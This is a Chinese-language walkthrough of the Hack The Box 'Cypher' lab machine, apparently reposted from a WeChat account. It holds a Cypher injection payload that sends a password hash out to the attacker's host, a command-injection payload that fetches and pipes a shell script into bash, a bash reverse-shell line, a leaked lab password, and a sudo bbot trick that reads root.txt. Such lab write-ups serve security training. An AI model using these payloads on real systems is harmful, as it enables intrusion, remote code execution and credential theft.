信息收集
1、端口
nmap
扫描端口
nmap -sS --min-rate 10000 -sV -O 10.10.11.57
PORT STATE SERVICE VERSION
22/tcp open tcpwrapped
80/tcp open tcpwrapped
访问10.10.11.57
-> 跳转到了cypher.htb
-> 添加本地的DNS
解析
sudo vim /etc/hosts
10.10.11.57 cypher.htb
2、目录扫描
dirsearch -u http://cypher.htb/
/testing
/demo
/api
访问/testing
-> 有一个custom-apoc-extension-1.0-SNAPSHOT.jar
包 -> 下载下来
3、子域名扫描
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://cypher.htb -H "Host: FUZZ.cypher.htb"
没信息
打点
登录框 -> Cypher
注入
输入 admin' -> 报错回显
当时看了看Cypher注入的文章,但是没试出来,这里ssrf外带出了hash值
admin' OR 1=1 LOAD CSV FROM 'http://10.10.16.64/a='+h.value AS y Return ''//
-> h是SHA1,所以返回的是加密数据
9f54ca4c130be6d529a56dee59dc2b2090e43acf
在线的网站爆不出来
通过IDEA
查看jar
反编译的代码
public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
url = "https://" + url;
}
String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
System.out.println("Command: " + Arrays.toString(command));
Process process = Runtime.getRuntime().exec(command);
这里是传一个
url
,然后直接用了binsh -c
-> 用来检测状态码的直接拼接
url
// cypher payload
admin' return h.value as value union call custom.getUrlStatusCode("http://127.0.0.1;curl 10.10.16.64/shell.sh|bash;") yield statusCode as value return value;//
// 在本机开启python http服务,然后cypher注入
// 致使靶机进行curl 我们的shell.sh | bash -> bash命令执行shell.sh 从而反弹shell
// shell.sh的内容为 bash反弹shell -> bash -i >& /dev/tcp/10.10.16.64/9999 0>&1
反弹
shell
成功切换到
home
目录下,有一个graphasm
用户 -> 里面的user.txt
无权获取内容 -> 但有一个可以直接cat
neo4j@cypher:/home/graphasm$ cat bbot_preset.yml
cat bbot_preset.yml
targets:
- ecorp.htb
output_dir: /home/graphasm/bbot_scans
config:
modules:
neo4j:
username: neo4j
password: cU4btyib.20xtCMCXkBmerhK
ssh
连接graphasm
用户,这是我没想到的,给的username
为neo4j
啊 - -.
成功获取user.txt
提权
sudo -l
大概意思就是 /usr/local/bin/bbot 可以不需要输入root的密码直接执行,且执行权限是root
那就要对该内容进行分析了
搜了一下bbot
是什么,原来是个工具啊。
sudo /usr/local/bin/bbot -cy /root/root.txt --debug
--debug
:显示文件内容
总结
Cypher
注入,得到了hash
值,但是无法破解,对源码的泄露的分析,知道是URL
拼接,直接反弹shell
,得到密码
sudo -l
提权,然后配合bbot
的命令参数和--debug
模式 输出root.txt
内容
参考文章:
https://hackmd.io/@Chivato/rkAN7Q9NY
https://neo4j.com/developer/kb/protecting-against-cypher-injection/
https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8
原文始发于微信公众号(夜风Sec):HTB靶机 - Cypher
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论